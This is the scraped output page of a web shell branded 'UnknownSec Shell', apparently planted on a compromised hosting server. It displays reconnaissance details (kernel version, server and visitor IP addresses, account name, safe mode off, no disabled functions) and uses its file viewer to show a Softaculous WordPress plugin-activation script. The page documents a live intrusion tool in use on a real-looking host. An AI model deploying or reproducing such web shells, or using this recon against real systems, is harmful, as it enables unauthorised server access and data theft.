shell bypass 403

UnknownSec Shell

: /var/softaculous/wp51/ [ drwxr-xr-x ]
Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 172.67.154.186
Your Ip: 216.73.217.58
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:
NONE

name : plugin_activate.php
<?php

@unlink(__FILE__);

// Validate if the request is from Softaculous
if($_REQUEST['pass'] != '[[autopass]]'){
	die("Unauthorized Access");
}

require_once('wp-blog-header.php');
require_once('wp-includes/pluggable.php');
require_once('wp-admin/includes/plugin.php');

$plugins_to_activate = '[[plugins_to_activate]]';
$plugins_to_activate = unserialize($plugins_to_activate);

$ret = array();

foreach($plugins_to_activate as $plugn_file){
	// null means success
	$ret[$plugn_file] = activate_plugin($plugn_file);	
}

echo '<plugin_activate>'.serialize($ret).'</plugin_activate>';

exit(0);
© 2026 UnknownSec